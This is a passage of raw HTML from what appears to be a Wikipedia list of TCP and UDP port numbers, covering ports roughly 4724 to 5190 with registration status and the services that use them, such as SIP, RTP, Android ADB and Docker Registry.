table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Appium\" title=\"Appium\">Appium</a> open source automation tool\n</td></tr>\n<tr>\n<td>4724</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Default bootstrap port to use on device to talk to <a href=\"/wiki/Appium\" title=\"Appium\">Appium</a>\n</td></tr>\n<tr>\n<td>4728</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Computer Associates Desktop and Server Management (DMP)/Port Multiplexer<sup id=\"cite_ref-SANS_213-0\" class=\"reference\"><a href=\"#cite_note-SANS-213\">&#91;211&#93;</a></sup>\n</td></tr>\n<tr>\n<td>4730</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Gearman\" title=\"Gearman\">Gearman</a>'s job server\n</td></tr>\n<tr>\n<td>4739</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/IP_Flow_Information_Export\" title=\"IP Flow Information Export\">IP Flow Information Export</a>\n</td></tr>\n<tr>\n<td>4747</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Apprentice_(software)\" title=\"Apprentice (software)\">Apprentice</a>\n</td></tr>\n<tr>\n<td>4753</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>SIMON (service and discovery)\n</td></tr>\n<tr>\n<td>4789</td>\n<td></td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Virtual eXtensible Local Area Network (<a href=\"/wiki/Virtual_Extensible_LAN\" title=\"Virtual Extensible LAN\">VXLAN</a>)\n</td></tr>\n<tr>\n<td>4791</td>\n<td></td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/RDMA_over_Converged_Ethernet\" title=\"RDMA over Converged Ethernet\">IP Routable RocE</a> (RoCEv2)\n</td></tr>\n<tr>\n<td>4840</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>OPC UA Connection Protocol (TCP) and OPC UA Multicast Datagram Protocol (UDP) for <a href=\"/wiki/OPC_Unified_Architecture\" title=\"OPC Unified Architecture\">OPC Unified Architecture</a> from <a href=\"/wiki/OPC_Foundation\" title=\"OPC Foundation\">OPC Foundation</a>\n</td></tr>\n<tr>\n<td>4843</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>OPC UA TCP Protocol over TLS/SSL for <a href=\"/wiki/OPC_Unified_Architecture\" title=\"OPC Unified Architecture\">OPC Unified Architecture</a> from <a href=\"/wiki/OPC_Foundation\" title=\"OPC Foundation\">OPC Foundation</a>\n</td></tr>\n<tr>\n<td>4847</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Web Fresh Communication, Quadrion Software &amp; Odorless Entertainment\n</td></tr>\n<tr>\n<td>4848</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Java, Glassfish Application Server administration default\n</td></tr>\n<tr>\n<td>4894</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/LysKOM\" title=\"LysKOM\">LysKOM</a> Protocol A\n</td></tr>\n<tr>\n<td>4944</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/DrayTek\" title=\"DrayTek\">DrayTek</a> DSL Status Monitoring<sup id=\"cite_ref-draytek-support-5365_214-0\" class=\"reference\"><a href=\"#cite_note-draytek-support-5365-214\">&#91;212&#93;</a></sup>\n</td></tr>\n<tr>\n<td>4949</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Munin Resource Monitoring Tool\n</td></tr>\n<tr>\n<td>4950</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Cylon Controls UC32 Communications Port\n</td></tr>\n<tr>\n<td rowspan=\"13\">5000\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Universal_Plug_and_Play\" title=\"Universal Plug and Play\">UPnP</a>—Windows network device interoperability\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/VTun\" title=\"VTun\">VTun</a>, <a href=\"/wiki/VPN\" class=\"mw-redirect\" title=\"VPN\">VPN</a> Software\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/ASP.NET_Core\" title=\"ASP.NET Core\">ASP.NET Core</a> — Development Webserver\n</td></tr>\n<tr>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/FlightGear\" title=\"FlightGear\">FlightGear</a> multiplayer<sup id=\"cite_ref-auto_215-0\" class=\"reference\"><a href=\"#cite_note-auto-215\">&#91;213&#93;</a></sup>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Synology_Inc.\" class=\"mw-redirect\" title=\"Synology Inc.\">Synology Inc.</a> Management Console, File Station, Audio Station\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Flask_(web_framework)\" title=\"Flask (web framework)\">Flask</a> Development Webserver\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Heroku\" title=\"Heroku\">Heroku</a> console access\n</td></tr>\n<tr>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Docker_(software)\" title=\"Docker (software)\">Docker</a> Registry<sup id=\"cite_ref-216\" class=\"reference\"><a href=\"#cite_note-216\">&#91;214&#93;</a></sup>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/AT%26T_U-verse\" class=\"mw-redirect\" title=\"AT&amp;T U-verse\">AT&amp;T U-verse</a> <a href=\"/wiki/Public,_educational,_and_government_access\" class=\"mw-redirect\" title=\"Public, educational, and government access\">public, educational, and government access</a> (PEG) streaming over <a href=\"/wiki/Hypertext_Transfer_Protocol\" title=\"Hypertext Transfer Protocol\">HTTP</a><sup id=\"cite_ref-217\" class=\"reference\"><a href=\"#cite_note-217\">&#91;215&#93;</a></sup>\n</td></tr>\n<tr>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/High-Speed_SECS_Message_Services\" title=\"High-Speed SECS Message Services\">High-Speed SECS Message Services</a><sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (November 2018)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/3CX_Phone_System\" title=\"3CX Phone System\">3CX Phone System</a> Management Console/Web Client (HTTP)\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>RidgeRun GStreamer Daemon (GSTD) <sup id=\"cite_ref-218\" class=\"reference\"><a href=\"#cite_note-218\">&#91;216&#93;</a></sup>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Apple_Inc.\" title=\"Apple Inc.\">Apple's</a> <a href=\"/wiki/AirPlay\" title=\"AirPlay\">AirPlay</a> Receiver<sup id=\"cite_ref-219\" class=\"reference\"><a href=\"#cite_note-219\">&#91;217&#93;</a></sup>\n</td></tr>\n<tr>\n<td>5000–5500</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/League_of_Legends\" title=\"League of Legends\">League of Legends</a></i>, a <a href=\"/wiki/Multiplayer_online_battle_arena\" title=\"Multiplayer online battle arena\">multiplayer online battle arena</a> video game<sup id=\"cite_ref-riotgames-kb-201752664_220-0\" class=\"reference\"><a href=\"#cite_note-riotgames-kb-201752664-220\">&#91;218&#93;</a></sup>\n</td></tr>\n<tr>\n<td rowspan=\"4\">5001\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Slingbox\" title=\"Slingbox\">Slingbox</a> and Slingplayer\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Iperf\" title=\"Iperf\">Iperf</a> (Tool for measuring TCP and UDP bandwidth performance)\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Synology_Inc.\" class=\"mw-redirect\" title=\"Synology Inc.\">Synology Inc.</a> Secured Management Console, File Station, Audio Station\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/3CX_Phone_System\" title=\"3CX Phone System\">3CX Phone System</a> Management Console/Web Client (HTTPS)\n</td></tr>\n<tr>\n<td>5002</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>ASSA ARX access control system<sup id=\"cite_ref-221\" class=\"reference\"><a href=\"#cite_note-221\">&#91;219&#93;</a></sup>\n</td></tr>\n<tr>\n<td>5003</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/FileMaker\" title=\"FileMaker\">FileMaker</a> – name binding and transport<sup id=\"cite_ref-apple-kb-HT202944_11-59\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td>5004</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes\n</td>\n<td><a href=\"/wiki/Real-time_Transport_Protocol\" title=\"Real-time Transport Protocol\">Real-time Transport Protocol</a> media data (RTP) (RFC 3551, RFC 4571)\n</td></tr>\n<tr>\n<td>5005</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes\n</td>\n<td><a href=\"/wiki/RTP_Control_Protocol\" title=\"RTP Control Protocol\">Real-time Transport Protocol control protocol</a> (RTCP) (RFC 3551, RFC 4571)\n</td></tr>\n<tr>\n<td>5007</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Palo Alto Networks - User-ID agent\n</td></tr>\n<tr>\n<td>5010</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Registered to: TelePath (the IBM FlowMark <a href=\"/wiki/Workflow-management_system\" class=\"mw-redirect\" title=\"Workflow-management system\">workflow-management system</a> messaging platform)<sup id=\"cite_ref-Hill_222-0\" class=\"reference\"><a href=\"#cite_note-Hill-222\">&#91;220&#93;</a></sup><br />The TCP port is now used for: IBM <a href=\"/wiki/WebSphere_MQ\" class=\"mw-redirect\" title=\"WebSphere MQ\">WebSphere MQ</a> Workflow\n</td></tr>\n<tr>\n<td>5011</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>TelePath (the IBM FlowMark <a href=\"/wiki/Workflow-management_system\" class=\"mw-redirect\" title=\"Workflow-management system\">workflow-management system</a> messaging platform)<sup id=\"cite_ref-Hill_222-1\" class=\"reference\"><a href=\"#cite_note-Hill-222\">&#91;220&#93;</a></sup>\n</td></tr>\n<tr>\n<td>5022</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>MSSQL Server Replication and Database mirroring endpoints<sup id=\"cite_ref-Microsoft_223-0\" class=\"reference\"><a href=\"#cite_note-Microsoft-223\">&#91;221&#93;</a></sup>\n</td></tr>\n<tr>\n<td>5025</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>scpi-raw <a href=\"/wiki/Standard_Commands_for_Programmable_Instruments\" title=\"Standard Commands for Programmable Instruments\">Standard Commands for Programmable Instruments</a>\n</td></tr>\n<tr>\n<td>5029</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Sonic Robo Blast 2 and Sonic Robo Blast 2 Kart servers\n</td></tr>\n<tr>\n<td>5031</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>AVM CAPI-over-TCP (<a href=\"/wiki/ISDN\" class=\"mw-redirect\" title=\"ISDN\">ISDN</a> over <a href=\"/wiki/Ethernet\" title=\"Ethernet\">Ethernet</a> tunneling)<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (March 2012)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>5037</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Android ADB server\n</td></tr>\n<tr>\n<td>5044</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Standard port in Filebeats/Logstash implementation of Lumberjack protocol.\n</td></tr>\n<tr>\n<td>5048</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Texai Message Service\n</td></tr>\n<tr>\n<td>5050</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Yahoo!_Messenger\" title=\"Yahoo! Messenger\">Yahoo! Messenger</a>\n</td></tr>\n<tr>\n<td>5051</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>ita-agent <a href=\"/wiki/NortonLifeLock\" class=\"mw-redirect\" title=\"NortonLifeLock\">Symantec</a> Intruder Alert<sup id=\"cite_ref-224\" class=\"reference\"><a href=\"#cite_note-224\">&#91;222&#93;</a></sup>\n</td></tr>\n<tr>\n<td>5060</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Session_Initiation_Protocol\" title=\"Session Initiation Protocol\">Session Initiation Protocol</a> (SIP)<sup id=\"cite_ref-apple-kb-HT202944_11-60\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td>5061</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes<sup id=\"cite_ref-225\" class=\"reference\"><a href=\"#cite_note-225\">&#91;223&#93;</a></sup></td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Session_Initiation_Protocol\" title=\"Session Initiation Protocol\">Session Initiation Protocol</a> (SIP) over <a href=\"/wiki/Transport_Layer_Security\" title=\"Transport Layer Security\">TLS</a>\n</td></tr>\n<tr>\n<td>5062</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Localisation access\n</td></tr>\n<tr>\n<td>5064</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/EPICS\" title=\"EPICS\">EPICS</a> Channel Access server<sup id=\"cite_ref-epics-r3.14-reference-manual_226-0\" class=\"reference\"><a href=\"#cite_note-epics-r3.14-reference-manual-226\">&#91;224&#93;</a></sup>\n</td></tr>\n<tr>\n<td>5065</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>EPICS Channel Access repeater beacon<sup id=\"cite_ref-epics-r3.14-reference-manual_226-1\" class=\"reference\"><a href=\"#cite_note-epics-r3.14-reference-manual-226\">&#91;224&#93;</a></sup>\n</td></tr>\n<tr>\n<td>5070</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/w/index.php?title=Binary_Floor_Control_Protocol&amp;action=edit&amp;redlink=1\" class=\"new\" title=\"Binary Floor Control Protocol (page does not exist)\">Binary Floor Control Protocol</a> (BFCP)<sup id=\"cite_ref-rfc4582_227-0\" class=\"reference\"><a href=\"#cite_note-rfc4582-227\">&#91;225&#93;</a></sup>\n</td></tr>\n<tr>\n<td>5080</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/List_of_telephone_switches#NEC\" title=\"List of telephone switches\">List of telephone switches#NEC</a>[NEC Phone System] NEC SV8100 and SV9100 MLC Phones Default iSIP Port\n</td></tr>\n<tr>\n<td>5084</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/EPCglobal\" class=\"mw-redirect\" title=\"EPCglobal\">EPCglobal</a> Low Level Reader Protocol (<a href=\"/wiki/LLRP\" class=\"mw-redirect\" title=\"LLRP\">LLRP</a>)\n</td></tr>\n<tr>\n<td>5085</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>EPCglobal Low Level Reader Protocol (<a href=\"/wiki/LLRP\" class=\"mw-redirect\" title=\"LLRP\">LLRP</a>) over <a href=\"/wiki/Transport_Layer_Security\" title=\"Transport Layer Security\">TLS</a>\n</td></tr>\n<tr>\n<td>5090</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/3CX_Phone_System\" title=\"3CX Phone System\">3CX Phone System</a> 3CX Tunnel Protocol, 3CX App API, 3CX Session Border Controller\n</td></tr>\n<tr>\n<td>5093</td>\n<td></td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/SafeNet\" title=\"SafeNet\">SafeNet, Inc</a> Sentinel LM, Sentinel RMS, License Manager, client-to-server\n</td></tr>\n<tr>\n<td>5099</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>SafeNet, Inc Sentinel LM, Sentinel RMS, License Manager, server-to-server\n</td></tr>\n<tr>\n<td>5104</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/IBM\" title=\"IBM\">IBM</a> <a href=\"/w/index.php?title=IBM_Tivoli_Framework&amp;action=edit&amp;redlink=1\" class=\"new\" title=\"IBM Tivoli Framework (page does not exist)\">Tivoli Framework</a> NetCOOL/Impact<sup id=\"cite_ref-228\" class=\"reference\"><a href=\"#cite_note-228\">&#91;226&#93;</a></sup> <a href=\"/wiki/HTTP\" class=\"mw-redirect\" title=\"HTTP\">HTTP</a> Service\n</td></tr>\n<tr>\n<td>5121</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Neverwinter_Nights_(2002_video_game)\" title=\"Neverwinter Nights (2002 video game)\">Neverwinter Nights</a>\n</td></tr>\n<tr>\n<td>5124</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>TorgaNET (<a href=\"/wiki/Micronation\" title=\"Micronation\">Micronational</a> <a href=\"/wiki/Darknet\" title=\"Darknet\">Darknet</a>)\n</td></tr>\n<tr>\n<td>5125</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>TorgaNET (<a href=\"/wiki/Micronation\" title=\"Micronation\">Micronational</a> Intelligence <a href=\"/wiki/Darknet\" title=\"Darknet\">Darknet</a>)\n</td></tr>\n<tr>\n<td>5150</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>ATMP Ascend Tunnel Management Protocol<sup id=\"cite_ref-229\" class=\"reference\"><a href=\"#cite_note-229\">&#91;227&#93;</a></sup>\n</td></tr>\n<tr>\n<td rowspan=\"2\">5151\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Environmental_Systems_Research_Institute\" class=\"mw-redirect\" title=\"Environmental Systems Research Institute\">ESRI</a> SDE Instance\n</td></tr>\n<tr>\n<td></td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>ESRI SDE Remote Start\n</td></tr>\n<tr>\n<td>5154</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/BZFlag\" title=\"BZFlag\">BZFlag</a>\n</td></tr>\n<tr>\n<td>5172</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>PC over IP Endpoint Management<sup id=\"cite_ref-230\" class=\"reference\"><a href=\"#cite_note-230\">&#91;228&#93;</a></sup>\n</td></tr>\n<tr>\n<td>5173</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a rel=\"nofollow\" class=\"external text\" href=\"https://vitejs.dev/\">Vite</a>\n</td></tr>\n<tr>\n<td>5190</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" 